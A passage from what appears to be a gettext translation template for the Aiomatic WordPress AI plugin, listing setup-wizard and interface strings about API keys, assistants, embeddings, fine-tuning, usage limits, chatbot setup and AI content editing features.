res/aiomatic-main.php:2078 #, php-format msgid "" "Adding your Google AI Studio API key in this settings field, will make the " "Google AI Studio AI models to appear in all model selector boxes from the " "plugin. To make it work, insert your Google AI Studio AI API Keys (one per " "line). Get your API key here." msgstr "" #: class-setup-wizard.php:855 res/aiomatic-main.php:2087 msgid "Please insert your Google AI Studio AI API Key" msgstr "" #: class-setup-wizard.php:867 res/aiomatic-main.php:2099 #, php-format msgid "" "Adding your Perplexity key in this settings field, will make the Perplexity " "AI models to appear in all model selector boxes from the plugin. To make it " "work, insert your Perplexity AI API Keys (one per line). Get your API key here." msgstr "" #: class-setup-wizard.php:876 res/aiomatic-main.php:2108 msgid "Please insert your Perplexity AI API Key" msgstr "" #: class-setup-wizard.php:888 res/aiomatic-main.php:2120 #, php-format msgid "" "Adding your OpenRouter key in this settings field, will make the OpenRouter " "AI models to appear in all model selector boxes from the plugin. To make it " "work, insert your OpenRouter AI API Keys (one per line). Get your API key here." msgstr "" #: class-setup-wizard.php:897 res/aiomatic-main.php:2129 msgid "Please insert your OpenRouter AI API Key" msgstr "" #: class-setup-wizard.php:909 #, php-format msgid "" "Adding your HuggingFace key in this settings field, will make the " "HuggingFace AI models to appear in all model selector boxes from the plugin. " "To make it work, insert your HuggingFace AI API Keys (one per line). Get " "your API key here." msgstr "" #: class-setup-wizard.php:918 res/aiomatic-main.php:2150 msgid "Please insert your HuggingFace AI API Key" msgstr "" #: class-setup-wizard.php:928 msgid "" "For more options and to set up more APIs which can be used in the plugin, " "check the plugin's " msgstr "" #: class-setup-wizard.php:936 msgid "" "While Aiomatic is known for its powerful core functionalities, it also " "boasts a suite of hidden gems that can significantly enhance your digital " "experience on WordPress. From content management to interactive engagement, " "these additional features are designed to supercharge your website's " "capabilities. Let's delve into these exciting features." msgstr "" #: class-setup-wizard.php:938 msgid "Use AI Assistants Instead Of AI Models" msgstr "" #: class-setup-wizard.php:940 msgid "Step 1a: Create a New Assistant" msgstr "" #: class-setup-wizard.php:943 msgid "Add New Assistant:" msgstr "" #: class-setup-wizard.php:943 msgid "" "Click the 'Add New Assistant' button to start configuring a new assistant." msgstr "" #: class-setup-wizard.php:946 msgid "Configuration Details:" msgstr "" #: class-setup-wizard.php:948 msgid "Name and Description:" msgstr "" #: class-setup-wizard.php:948 msgid "" "Provide a name and a detailed description of the assistant's " "responsibilities." msgstr "" #: class-setup-wizard.php:949 msgid "AI Model Selection:" msgstr "" #: class-setup-wizard.php:949 msgid "" "Choose an AI model that best suits the tasks you expect the assistant to " "perform." msgstr "" #: class-setup-wizard.php:950 msgid "Context Prompt:" msgstr "" #: class-setup-wizard.php:950 msgid "" " In the 'Assistant Context Prompt' field, input necessary background " "information which the assistant should consistently remember (e.g., its " "name, role, and any specific tasks it needs to handle)." msgstr "" #: class-setup-wizard.php:951 msgid "Advanced Features:" msgstr "" #: class-setup-wizard.php:954 msgid "Enable features like 'Code Interpreter' for running snippets of code." msgstr "" #: class-setup-wizard.php:957 msgid "Enable 'File Search' for fetching and using external data." msgstr "" #: class-setup-wizard.php:960 msgid "Add custom functions that the assistant can use to process requests." msgstr "" #: class-setup-wizard.php:963 msgid "Upload files that the assistant can reference or extract content from." msgstr "" #: class-setup-wizard.php:967 msgid "Avatar Assignment:" msgstr "" #: class-setup-wizard.php:967 msgid "" "Assign an avatar that will represent the assistant, particularly useful when " "the assistant is utilized in chatbot functions." msgstr "" #: class-setup-wizard.php:971 msgid "Step 1b: Import Existing Assistants" msgstr "" #: class-setup-wizard.php:972 msgid "" "If you have pre-configured assistants on OpenAI's platform, use the 'Import " "Assistants From OpenAI' button to integrate them directly into your " "WordPress site. All imported and created assistants will be available for " "selection and use within the plugin." msgstr "" #: class-setup-wizard.php:973 msgid "Step 2: Utilize Assistants in Plugin Settings" msgstr "" #: class-setup-wizard.php:974 class-setup-wizard.php:986 #: class-setup-wizard.php:1036 class-setup-wizard.php:1117 #: class-setup-wizard.php:1141 class-setup-wizard.php:1179 #: class-setup-wizard.php:1195 class-setup-wizard.php:1208 #: class-setup-wizard.php:1223 class-setup-wizard.php:1235 #: class-setup-wizard.php:1247 msgid "Watch a Tutorial for this feature:" msgstr "" #: class-setup-wizard.php:975 msgid "" "Assign your AI Assistants to specific tasks within your site: in the " "relevant plugin settings section, replace the traditional AI model with one " "of your configured or imported assistants using the 'AI Assistant Name' " "settings field." msgstr "" #: class-setup-wizard.php:981 msgid "" "Embeddings are essentially snippets of pre-processed data that help the AI " "understand the context or specific details about a subject without the need " "to train a completely new model. This method is highly efficient for " "providing the AI with the necessary background to accurately address complex " "queries about your company, products, or content." msgstr "" #: class-setup-wizard.php:982 msgid "Setting Up AI Embeddings" msgstr "" #: class-setup-wizard.php:983 msgid "" "Step 1: Create Data for Embeddings - Quality Data Creation: Focus on " "developing precise questions and answers that provide clear, concise, and " "relevant context. Data Volume: Unlike full AI training, embeddings do not " "require vast amounts of data. Include just enough information to guide the " "AI accurately." msgstr "" #: class-setup-wizard.php:984 msgid "" "Step 2: Auto Index Existing Posts - Automatically generate embeddings from " "existing content. Set the plugin to index posts, pages, products, or custom " "post types and create embeddings from this content. Template Customization: " "Adjust the auto-created embeddings template from the 'Embeddings' tab under " "'Settings' menu, to fit the specific format you need for your data." msgstr "" #: class-setup-wizard.php:985 msgid "" "Step 3: Manage Embeddings - Review and refine your embeddings: edit or " "delete embeddings as needed to keep the dataset current and effective." msgstr "" #: class-setup-wizard.php:992 msgid "" "Fine-tuning GPT-3 involves customizing a pre-trained AI model to enhance its " "understanding and output based on specific tasks or datasets. This feature " "within Aiomatic allows you to tailor the AI responses to closely align with " "your organizational needs, whether for creating a niche chatbot, generating " "targeted content, or providing precise customer support. Fine-tuning is the " "process of training a GPT-3 model on a tailored dataset to specialize its " "responses and functionalities. This method significantly improves the " "model's accuracy on specific topics by adjusting its parameters to reflect " "the nuances of the provided data." msgstr "" #: class-setup-wizard.php:993 msgid "Setting Up AI Fine-Tuning" msgstr "" #: class-setup-wizard.php:994 msgid "" "Step 1: Create Your Dataset - Prepare your dataset, which is critical for " "the fine-tuning process:" msgstr "" #: class-setup-wizard.php:997 msgid "Dataset Uploader (Step 1a):" msgstr "" #: class-setup-wizard.php:997 msgid "" "Directly upload your JSONL file if it's ready. Ensure it uses the prompt and " "completion format, with each line containing a pair. Upload Guidelines: " "Check your WordPress settings to accommodate the file size. Use tools like " "OpenAI's CLI Data Preparation Tool to format your data correctly." msgstr "" #: class-setup-wizard.php:1000 msgid "Manual Entry (Step 1b):" msgstr "" #: class-setup-wizard.php:1000 msgid "" "Input data manually into the plugin or use tools to systematically gather " "and convert your content into a dataset." msgstr "" #: class-setup-wizard.php:1003 msgid "Dataset Converter (Step 1c):" msgstr "" #: class-setup-wizard.php:1003 msgid "" "Automatically convert website content (posts, pages, products) into a " "structured dataset where titles are questions and content are answers." msgstr "" #: class-setup-wizard.php:1006 msgid "" "Step 2: Initiate Model Training - Once your dataset is prepared and uploaded:" msgstr "" #: class-setup-wizard.php:1009 msgid "Start Training:" msgstr "" #: class-setup-wizard.php:1009 msgid "" "Navigate to the 'Datasets' tab, select your dataset, and click 'Create Fine-" "Tune'. Choose to fine-tune a new model or an existing one." msgstr "" #: class-setup-wizard.php:1012 msgid "Training Duration:" msgstr "" #: class-setup-wizard.php:1012 msgid "" "Training time can vary; a typical 500-row dataset might take about 20 " "minutes to process." msgstr "" #: class-setup-wizard.php:1015 msgid "Step 3: Monitor and Deploy - After initiating the fine-tune:" msgstr "" #: class-setup-wizard.php:1018 msgid "Check Progress:" msgstr "" #: class-setup-wizard.php:1018 msgid "" "Monitor the status of your fine-tuning under the 'Model Finetunes' tab. " "Ensure the model lists as 'succeeded' before use." msgstr "" #: class-setup-wizard.php:1021 msgid "Deployment:" msgstr "" #: class-setup-wizard.php:1021 msgid "" "Once successful, the fine-tuned model will be available in the plugin's " "model selection dropdown." msgstr "" #: class-setup-wizard.php:1024 msgid "Tips for Effective Fine-Tuning" msgstr "" #: class-setup-wizard.php:1027 msgid "Dataset Quality:" msgstr "" #: class-setup-wizard.php:1027 msgid "" "The quality and size of your dataset are paramount. More comprehensive and " "well-structured data leads to better model performance." msgstr "" #: class-setup-wizard.php:1030 msgid "Continuous Monitoring:" msgstr "" #: class-setup-wizard.php:1030 msgid "" "Regularly check the model's performance and make adjustments to the dataset " "as needed." msgstr "" #: class-setup-wizard.php:1033 msgid "Iterative Process:" msgstr "" #: class-setup-wizard.php:1033 msgid "" "Fine-tuning can be an iterative process. Initial results should be analyzed " "and used to refine the dataset and model parameters continually." msgstr "" #: class-setup-wizard.php:1040 msgid "Limits and Statistics" msgstr "" #: class-setup-wizard.php:1041 msgid "Limits and Statistics menu" msgstr "" #: class-setup-wizard.php:1042 msgid "" "The Aiomatic plugin includes comprehensive tools for managing and monitoring " "AI service usage. The 'Limits and Statistics' feature provides detailed " "logs, graphs, and usage controls, enabling you to efficiently oversee " "operations within your WordPress site. Check features available in this " "section of the plugin:" msgstr "" #: class-setup-wizard.php:1045 msgid "Usage Logs:" msgstr "" #: class-setup-wizard.php:1045 msgid "" "This tab displays a detailed table with usage metrics for each AI request " "made through the plugin:" msgstr "" #: class-setup-wizard.php:1048 msgid "User: Who made the request." msgstr "" #: class-setup-wizard.php:1051 msgid "IP: The IP address from which the request originated." msgstr "" #: class-setup-wizard.php:1054 msgid "Source: Where the request was made (e.g., post editor, widget)." msgstr "" #: class-setup-wizard.php:1057 msgid "Model: Which AI model was used." msgstr "" #: class-setup-wizard.php:1060 msgid "Mode: Operational mode (e.g., automatic, manual)." msgstr "" #: class-setup-wizard.php:1063 msgid "Units: Number of units (tokens) used." msgstr "" #: class-setup-wizard.php:1066 msgid "Type: Type of units used (e.g., tokens)." msgstr "" #: class-setup-wizard.php:1069 msgid "Price: Cost incurred for the request." msgstr "" #: class-setup-wizard.php:1072 msgid "Time: Timestamp of the request." msgstr "" #: class-setup-wizard.php:1075 msgid "" "Session ID: Identifier for the session during which the request was made." msgstr "" #: class-setup-wizard.php:1080 msgid "Usage Graphs:" msgstr "" #: class-setup-wizard.php:1080 msgid "Visualize the plugin's usage through several types of graphs:" msgstr "" #: class-setup-wizard.php:1083 msgid "Call Count: Number of API calls made over time." msgstr "" #: class-setup-wizard.php:1086 msgid "Token Count: Number of tokens used over time." msgstr "" #: class-setup-wizard.php:1089 msgid "Usage Cost: Costs incurred over time." msgstr "" #: class-setup-wizard.php:1092 msgid "AI Image Count: Number of AI-generated images over time." msgstr "" #: class-setup-wizard.php:1097 msgid "Usage Limits:" msgstr "" #: class-setup-wizard.php:1097 msgid "Set and manage usage limits to prevent abuse and manage costs:" msgstr "" #: class-setup-wizard.php:1100 msgid "" "Limit Types: Configure limits based on token usage, price, or call count." msgstr "" #: class-setup-wizard.php:1103 msgid "" "User-Specific Limits: Set different limits for logged-in users versus guests." msgstr "" #: class-setup-wizard.php:1106 msgid "" "Role-Based Limits: Apply distinct limits based on user roles, allowing more " "flexibility for administrators or other roles." msgstr "" #: class-setup-wizard.php:1109 msgid "" "Membership Integration: Utilize integration with the 'Ultimate Membership " "Pro' plugin to set varying limits for different membership levels." msgstr "" #: class-setup-wizard.php:1114 msgid "OpenAI Status:" msgstr "" #: class-setup-wizard.php:1114 msgid "" "Keep track of OpenAI's operational status and any incidents that might " "affect service availability: current status and health of the OpenAI API, " "also check incident reports, showing details of any ongoing or past issues " "that might have impacted service." msgstr "" #: class-setup-wizard.php:1122 msgid "Aiomatic Extensions menu" msgstr "" #: class-setup-wizard.php:1123 msgid "" "Extend your Aiomatic plugin with extra features and functionality. Check " "additional available Extensions in this menu of the plugin. Some examples of " "extensions available for the plugin:" msgstr "" #: class-setup-wizard.php:1126 msgid "PDF Parsing:" msgstr "" #: class-setup-wizard.php:1126 msgid "PDF file parsing and storage using OmniBlocks" msgstr "" #: class-setup-wizard.php:1129 msgid "Amazon S3 Storage For Images:" msgstr "" #: class-setup-wizard.php:1132 class-setup-wizard.php:1135 msgid "Amazon API:" msgstr "" #: class-setup-wizard.php:1138 msgid "Social Sharing:" msgstr "" #: class-setup-wizard.php:1138 msgid "" "Adds multiple chatbot extension & OmniBlock extensions for sharing on " "various social networks, like: Facebook, Twitter, Instagram, Pinterest, " "LinkedIn, Reddit, YouTube Community." msgstr "" #: class-setup-wizard.php:1145 res/aiomatic-main.php:47 #: res/aiomatic-main.php:3419 res/aiomatic-main.php:7694 #: res/aiomatic-main.php:8215 res/aiomatic-more.php:12 msgid "Content Wizard" msgstr "" #: class-setup-wizard.php:1146 msgid "Content Wizard Tab" msgstr "" #: class-setup-wizard.php:1147 msgid "" "The Content Wizard acts as your personal content strategist, aiding in " "various aspects of content management:" msgstr "" #: class-setup-wizard.php:1150 msgid "AI-Powered Meta Tags:" msgstr "" #: class-setup-wizard.php:1150 msgid "" "Automatically generates meta tags for your posts, optimizing them for better " "SEO." msgstr "" #: class-setup-wizard.php:1153 msgid "Keyword Suggestions:" msgstr "" #: class-setup-wizard.php:1153 msgid "Provides keyword recommendations to improve search engine visibility." msgstr "" #: class-setup-wizard.php:1156 msgid "Content Optimization:" msgstr "" #: class-setup-wizard.php:1156 msgid "" "Offers insights and suggestions to enhance the quality and SEO of your text." msgstr "" #: class-setup-wizard.php:1159 msgid "" "This tool is essential for anyone looking to improve their content's reach " "and impact efficiently." msgstr "" #: class-setup-wizard.php:1160 msgid "Watch a Tutorial for the Content Wizard:" msgstr "" #: class-setup-wizard.php:1164 msgid "AI Media Library Extensions" msgstr "" #: class-setup-wizard.php:1165 msgid "Media Library Extension" msgstr "" #: class-setup-wizard.php:1166 msgid "" "Elevate your media library with AI-driven extensions to create AI generated " "images and also to add alt and SEO meta tags to existing images:" msgstr "" #: class-setup-wizard.php:1169 msgid "" "Create AI generated images and autoamtically add them to your Media Library" msgstr "" #: class-setup-wizard.php:1172 msgid "" "Automatically generates alt text, captions, and descriptions for images, " "enhancing accessibility and SEO." msgstr "" #: class-setup-wizard.php:1175 msgid "" "Suggests relevant tags and keywords for your media files, ensuring they are " "discoverable and rank well in search engines." msgstr "" #: class-setup-wizard.php:1178 msgid "" "These extensions save time and streamline the process of media optimization." msgstr "" #: class-setup-wizard.php:1183 class-setup-wizard.php:1184 msgid "Comment Replier" msgstr "" #: class-setup-wizard.php:1185 msgid "" "Interact with your audience effortlessly with the Comment Replier feature. " "This tool uses AI to:" msgstr "" #: class-setup-wizard.php:1188 msgid "" "Analyze Comments: Understands the context and sentiment of user comments." msgstr "" #: class-setup-wizard.php:1191 msgid "" "Suggest Responses: Provides intelligent reply suggestions to help maintain " "active and engaging conversations." msgstr "" #: class-setup-wizard.php:1194 msgid "" "The Comment Replier is invaluable for keeping your community lively and " "responsive." msgstr "" #: class-setup-wizard.php:1199 class-setup-wizard.php:1200 #: res/aiomatic-more.php:14 msgid "AI Taxonomy Description Writer" msgstr "" #: class-setup-wizard.php:1201 msgid "" "Optimize your WordPress taxonomies (categories and tags) with AI-crafted " "descriptions that boost SEO:" msgstr "" #: class-setup-wizard.php:1204 msgid "" "Automated Descriptions: AI generates insightful and keyword-rich " "descriptions for each taxonomy to enhance search visibility." msgstr "" #: class-setup-wizard.php:1207 msgid "" "This feature is crucial for anyone looking to improve their site's " "organizational SEO efforts." msgstr "" #: class-setup-wizard.php:1212 class-setup-wizard.php:1213 #: res/aiomatic-main.php:46 res/aiomatic-main.php:6452 res/aiomatic-more.php:15 msgid "[aicontent] Shortcode" msgstr "" #: class-setup-wizard.php:1214 msgid "" "Integrate Aiomatic's capabilities across your WordPress plugins with the " "[aicontent] shortcode. This powerful shortcode:" msgstr "" #: class-setup-wizard.php:1217 msgid "" "Universal Integration: Works with any plugin, enabling AI-generated content " "for posts, pages, and custom post types created by other plugins." msgstr "" #: class-setup-wizard.php:1220 msgid "" "Dynamic Content Generation: Ensures that all content, whether scraped or " "manually entered, remains fresh and engaging." msgstr "" #: class-setup-wizard.php:1227 class-setup-wizard.php:1228 msgid "Developer Tools Documentation" msgstr "" #: class-setup-wizard.php:1229 msgid "Aiomatic allows developers to deeply customize AI interactions:" msgstr "" #: class-setup-wizard.php:1232 msgid "" "Custom Prompts and Responses: Modify the AI prompts and fine-tune the " "responses for specific needs, enhancing the customizability and relevance of " "the output." msgstr "" #: class-setup-wizard.php:1239 res/aiomatic-more.php:16 msgid "'Ultimate Membership Pro' Integration" msgstr "" #: class-setup-wizard.php:1240 msgid "AI Usage Limits tab" msgstr "" #: class-setup-wizard.php:1241 msgid "Enhance your membership site with Aiomatic's advanced features:" msgstr "" #: class-setup-wizard.php:1244 msgid "" "Exclusive AI Features: Restrict Aiomatic's functionalities to members based " "on their subscription levels, adding immense value to your membership " "packages." msgstr "" #: class-setup-wizard.php:1260 msgid "" "Welcome to the AI Playground, a feature-rich section of the Aiomatic plugin " "that leverages advanced AI technologies to enhance your digital experience. " "This tutorial will guide you through various functionalities available in " "the AI Playground, including text completion, text editing, image " "generation, chatbot interactions, speech-to-text conversion, and text " "moderation. Each feature is designed to assist in content generation, user " "interaction, and content management." msgstr "" #: class-setup-wizard.php:1262 msgid "Available Features in AI Playground" msgstr "" #: class-setup-wizard.php:1263 class-setup-wizard.php:1264 #: res/aiomatic-playground.php:23 res/aiomatic-playground.php:47 msgid "Text Completion" msgstr "" #: class-setup-wizard.php:1265 msgid "" "This feature allows the AI to extend a piece of text provided by the user, " "which can be used to generate creative content, complete narratives, or " "finish sentences in a coherent and contextually appropriate manner." msgstr "" #: class-setup-wizard.php:1266 class-setup-wizard.php:1271 #: class-setup-wizard.php:1276 class-setup-wizard.php:1281 #: class-setup-wizard.php:1286 class-setup-wizard.php:1291 msgid "Use Case:" msgstr "" #: class-setup-wizard.php:1266 msgid "" "Ideal for brainstorming sessions, story development, or as an aid for " "writing assignments." msgstr "" #: class-setup-wizard.php:1268 class-setup-wizard.php:1269 #: res/aiomatic-playground.php:24 res/aiomatic-playground.php:51 msgid "Text Editing" msgstr "" #: class-setup-wizard.php:1270 msgid "" "Modify text according to specific instructions. You can reformulate the " "style, correct grammar, simplify explanations, or adjust the tone to suit " "different audiences." msgstr "" #: class-setup-wizard.php:1271 msgid "" "Perfect for refining articles, preparing formal or informal communications, " "and enhancing the readability of existing content." msgstr "" #: class-setup-wizard.php:1273 msgid "" "Image Generation Using DALL-E 2, DALL-E 3, Midjourney and Stable Diffusion" msgstr "" #: class-setup-wizard.php:1274 res/aiomatic-amazon-list.php:1730 #: res/aiomatic-amazon-list.php:4310 res/aiomatic-chatbot.php:3265 #: res/aiomatic-chatbot.php:6575 res/aiomatic-listicle-list.php:1619 #: res/aiomatic-listicle-list.php:4104 res/aiomatic-main.php:3904 #: res/aiomatic-review-list.php:1799 res/aiomatic-review-list.php:4463 #: res/aiomatic-rules-list.php:1900 res/aiomatic-rules-list.php:4671 #: res/aiomatic-single-list.php:2443 res/aiomatic-single-list.php:3646 #: res/aiomatic-single-list.php:4396 res/aiomatic-single-list.php:5649 #: res/aiomatic-single-list.php:6963 res/aiomatic-single-list.php:8329 #: res/aiomatic-spinner-list.php:1712 res/aiomatic-youtube-list.php:1656 #: res/aiomatic-youtube-list.php:4191 msgid "Dall-E 2" msgstr "" #: class-setup-wizard.php:1274 res/aiomatic-amazon-list.php:1731 #: res/aiomatic-amazon-list.php:4315 res/aiomatic-chatbot.php:3266 #: res/aiomatic-chatbot.php:6576 res/aiomatic-listicle-list.php:1620 #: res/aiomatic-listicle-list.php:4109 res/aiomatic-main.php:3905 #: res/aiomatic-review-list.php:1800 res/aiomatic-review-list.php:4468 #: res/aiomatic-rules-list.php:1901 res/aiomatic-rules-list.php:4676 #: res/aiomatic-single-list.php:2444 res/aiomatic-single-list.php:3647 #: res/aiomatic-single-list.php:4397 res/aiomatic-single-list.php:5650 #: res/aiomatic-single-list.php:6964 res/aiomatic-single-list.php:8330 #: res/aiomatic-spinner-list.php:1717 res/aiomatic-youtube-list.php:1657 #: res/aiomatic-youtube-list.php:4196 msgid "Dall-E 3" msgstr "" #: class-setup-wizard.php:1274 msgid "Stable Diffusion" msgstr "" #: class-setup-wizard.php:1275 msgid "" "Generate images from text prompts using state-of-the-art models like DALL-E " "2, Midjourney and Stable Diffusion. Input a descriptive prompt, and the AI " "will create a corresponding image." msgstr "" #: class-setup-wizard.php:1276 msgid "" "Useful for artists, bloggers, and content creators who need original visuals " "to accompany text posts or to visualize concepts." msgstr "" #: class-setup-wizard.php:1280 msgid "" "You can also use the chatbot in the playground. Interact with an AI-powered " "chatbot that can answer questions, provide information, and engage in " "conversation. Set up the chatbot to handle FAQs, customer support, or casual " "interactions." msgstr "" #: class-setup-wizard.php:1281 msgid "" "Enhances user engagement on platforms such as customer service portals, " "informational sites, and interactive campaigns." msgstr "" #: class-setup-wizard.php:1283 res/aiomatic-playground.php:63 msgid "Speech to Text Using the Whisper API" msgstr "" #: class-setup-wizard.php:1284 res/aiomatic-playground.php:30 msgid "Whisper Speech To Text" msgstr "" #: class-setup-wizard.php:1285 msgid "" "Convert spoken language into written text with the Whisper API. Record audio " "and the AI will transcribe it accurately." msgstr "" #: class-setup-wizard.php:1286 msgid "" "Essential for journalists, researchers, and professionals who need to " "transcribe interviews, lectures, or meetings efficiently." msgstr "" #: class-setup-wizard.php:1288 class-setup-wizard.php:1289 #: res/aiomatic-playground.php:31 res/aiomatic-playground.php:67 msgid "Text Moderation" msgstr "" #: class-setup-wizard.php:1290 msgid "" "Automate the moderation of user-generated content. Define criteria for " "acceptable content, and let the AI filter out spam, offensive language, or " "any content that doesn't meet your standards." msgstr "" #: class-setup-wizard.php:1291 msgid "" "Ideal for maintaining a healthy online community, moderating comments on " "blogs or forums, and ensuring content appropriateness." msgstr "" #: class-setup-wizard.php:1293 class-setup-wizard.php:1294 #: res/aiomatic-playground.php:32 res/aiomatic-playground.php:71 msgid "Plagiarism Checker" msgstr "" #: class-setup-wizard.php:1295 res/aiomatic-playground.php:73 msgid "Check text for plagiarism, using the PlagiarismCheck API." msgstr "" #: class-setup-wizard.php:1297 res/aiomatic-playground.php:75 msgid "AI Content Detector" msgstr "" #: class-setup-wizard.php:1298 res/aiomatic-playground.php:33 msgid "AI Content Checker" msgstr "" #: class-setup-wizard.php:1299 res/aiomatic-playground.php:77 msgid "" "Check texts and detect if are fully AI generated or if they contain chunks " "of AI generated content, using the PlagiarismCheck API." msgstr "" #: class-setup-wizard.php:1362 msgid "" "Enhance your WordPress site's interactivity with a fully customizable AI-" "powered chatbot provided by the Aiomatic plugin. This tutorial will guide " "you through the setup process, allowing you to deploy a responsive chatbot " "that can engage visitors, answer inquiries, and offer personalized support." msgstr "" #: class-setup-wizard.php:1365 res/aiomatic-chatbot.php:1069 msgid "Step 1: Customize the Chatbot Behavior" msgstr "" #: class-setup-wizard.php:1366 msgid "AI Chatbot Menu" msgstr "" #: class-setup-wizard.php:1367 msgid "" "Begin by navigating to the \"AI Chatbot\" menu within the Aiomatic settings " "page. You'll find several tabs here dedicated to customizing your chatbot:" msgstr "" #: class-setup-wizard.php:1369 msgid "Chatbot Customization Tab:" msgstr "" #: class-setup-wizard.php:1369 msgid "Set rules for how the chatbot responds to specific inputs from users." msgstr "" #: class-setup-wizard.php:1370 msgid "Chatbot Default Styling Tab:" msgstr "" #: class-setup-wizard.php:1370 msgid "" "Modify the visual style and appearance of the chatbot to match your site's " "aesthetics." msgstr "" #: class-setup-wizard.php:1371 msgid "Chatbot Settings Tab:" msgstr "" #: class-setup-wizard.php:1371 msgid "Further define the behavior and operational settings of the chatbot." msgstr "" #: class-setup-wizard.php:1372 msgid "Default API Parameters Tab:" msgstr "" #: class-setup-wizard.php:1372 msgid "" "Adjust the default settings that control the chatbot's interactions based on " "the chosen AI model." msgstr "" #: class-setup-wizard.php:1374 res/aiomatic-chatbot.php:1071 msgid "Step 2: Add the Chatbot to Your Website" msgstr "" #: class-setup-wizard.php:1375 msgid "Chatbot Website Injection Tab" msgstr "" #: class-setup-wizard.php:1376 msgid "" "Incorporate the chatbot into your site either globally or on specific posts " "and pages:" msgstr "" #: class-setup-wizard.php:1378 msgid "Globally:" msgstr "" #: class-setup-wizard.php:1378 msgid "" "To add the chatbot across your entire site, including the backend for admin " "interactions, use the settings provided in the 'Chatbot Website Injection' " "tab. Here, you can decide if the chatbot should appear on all pages or only " "specific areas of your site." msgstr "" #: class-setup-wizard.php:1379 msgid "Locally:" msgstr "" #: class-setup-wizard.php:1379 msgid "" "For adding the chatbot to specific pages, use the [aiomatic-chat-form] " "shortcode where you want the chatbot to appear. To customize the shortcode " "easily and make it exactly like you need it, you can use the " msgstr "" #: class-setup-wizard.php:1379 res/aiomatic-chatbot.php:1043 msgid "Custom Chatbot Builder" msgstr "" #: class-setup-wizard.php:1381 res/aiomatic-chatbot.php:1073 msgid "Step 3: Test the Chatbot" msgstr "" #: class-setup-wizard.php:1382 msgid "After deployment, start interacting with the chatbot:" msgstr "" #: class-setup-wizard.php:1384 msgid "" "If the chatbot is added globally to your site, locate the chatbot icon or " "window." msgstr "" #: class-setup-wizard.php:1385 msgid "Type questions or phrases into the chat window." msgstr "" #: class-setup-wizard.php:1386 msgid "" "Observe the responses and make sure they align with the configurations " "you've set up." msgstr "" #: class-setup-wizard.php:1388 msgid "" "Testing ensures that the chatbot is ready to effectively communicate with " "your visitors and provide them with valuable assistance. You can give the " "chatbot a basic test drive, below:" msgstr "" #: class-setup-wizard.php:1393 msgid "Watch a Tutorial for the AI Chatbot:" msgstr "" #: class-setup-wizard.php:1407 msgid "" "The AI Content Editor within the Aiomatic plugin is a robust tool designed " "to automatically refine and enhance your posts using advanced artificial " "intelligence. Whether updating newly published, drafted, or existing posts, " "this feature streamlines the editing process, improving content quality and " "engagement effortlessly." msgstr "" #: class-setup-wizard.php:1410 res/aiomatic-spinner-list.php:36 msgid "Editing Templates and Options" msgstr "" #: class-setup-wizard.php:1411 msgid "Editing Templates and Options Tab" msgstr "" #: class-setup-wizard.php:1412 msgid "" "Determine exactly how posts should be edited through various AI-enhanced " "features. These features can be automatically applied to newly published " "posts or to exiting posts from your website:" msgstr "" #: class-setup-wizard.php:1414 msgid "AI Content Rewriting:" msgstr "" #: class-setup-wizard.php:1414 msgid "Toggle rewriting to refresh and improve article quality." msgstr "" #: class-setup-wizard.php:1415 msgid "Featured Image Creation/Editing:" msgstr "" #: class-setup-wizard.php:1415 msgid "Automatically assign or revise featured images using AI-driven visuals." msgstr "" #: class-setup-wizard.php:1416 msgid "Editing Of Images From The Post Content:" msgstr "" #: class-setup-wizard.php:1416 msgid "" "Automatically edit the images found in the post content, change them, making " "them unique." msgstr "" #: class-setup-wizard.php:1417 msgid "AI-Generated Content Addition:" msgstr "" #: class-setup-wizard.php:1417 msgid "Append or prepend AI-crafted content to enhance detail and richness." msgstr "" #: class-setup-wizard.php:1418 msgid "Internal Links:" msgstr "" #: class-setup-wizard.php:1418 msgid "Insert AI-selected internal links to boost SEO and user engagement." msgstr "" #: class-setup-wizard.php:1419 msgid "Auto Generate Post Categories/Tags:" msgstr "" #: class-setup-wizard.php:1419 msgid "Add relevant, AI generated categories and tags to your posts." msgstr "" #: class-setup-wizard.php:1420 msgid "AI-Generated Comments:" msgstr "" #: class-setup-wizard.php:1420 msgid "Add relevant, AI-created comments to foster community and discussion." msgstr "" #: class-setup-wizard.php:1421 msgid "SEO Meta Descriptions:" msgstr "" #: class-setup-wizard.php:1421 msgid "Automatically generate compelling SEO descriptions for posts." msgstr "" #: class-setup-wizard.php:1422 msgid "Add Text To Speech/Video To Posts:" msgstr "" #: class-setup-wizard.php:1422 msgid "" "Automatically generate text to speech/video based on the textual content of " "posts and add the multimedia content to your posts." msgstr "" #: class-setup-wizard.php:1423 msgid "Post Status Adjustment:" msgstr "" #: class-setup-wizard.php:1423 msgid "" "Change the post's status post-editing to reflect new updates or revisions." msgstr "" #: class-setup-wizard.php:1425 msgid "Automatic Content Editing Settings" msgstr "" #: class-setup-wizard.php:1426 msgid "Automatic Content Editing Settings Tab" msgstr "" #: class-setup-wizard.php:1427 msgid "" "Configure the AI to automatically edit newly published posts based on " "specific conditions and preferences:" msgstr "" #: class-setup-wizard.php:1429 msgid "When to Edit Posts:" msgstr "" #: class-setup-wizard.php:1429 msgid "" "Choose to auto-edit content upon publishing, drafting, or setting as pending." msgstr "" #: class-setup-wizard.php:1430 msgid "Post Types to Edit:" msgstr "" #: class-setup-wizard.php:1430 msgid "" "Select which types of content (e.g., posts, pages, custom post types) should " "be automatically refined." msgstr "" #: class-setup-wizard.php:1431 msgid "Editing Delay:" msgstr "" #: class-setup-wizard.php:1431 msgid "" "Set a time delay for edits to allow personal review before AI enhancements " "are applied." msgstr "" #: class-setup-wizard.php:1432 msgid "Exclusions:" msgstr "" #: class-setup-wizard.php:1432 msgid "Specify categories or tags to exclude from automatic editing." msgstr "" #: class-setup-wizard.php:1434 msgid "Manual Content Editing Settings" msgstr "" #: class-setup-wizard.php:1435 msgid "Manual Content Editing Settings Tab" msgstr "" #: class-setup-wizard.php:1436 msgid "" "Manually set conditions for editing existing posts from your website, to " "fine-tune content long after initial publication:" msgstr "" #: class-setup-wizard.php:1438 msgid "Filter Options:" msgstr "" #: class-setup-wizard.php:1438 msgid "" "Extensive filtering allows for precise control over which posts, pages, or " "custom types are edited." msgstr "" #: class-setup-wizard.php:1439 msgid "Editing Of Existin Posts On a Schedule:" msgstr "" #: class-setup-wizard.php:1439 msgid "" "You can also set up a process which will be automatically started at a " "schedule, which will automatically edit existing posts from your site." msgstr "" #: class-setup-wizard.php:1441 msgid "Watch a Tutorial for the AI Content Editor:" msgstr "" #: class-setup-wizard.php:1457 msgid "Congratulations! You're All Set." msgstr "" #: class-setup-wizard.php:1460 msgid "Aiomatic is now ready to work its magic!" msgstr "" #: 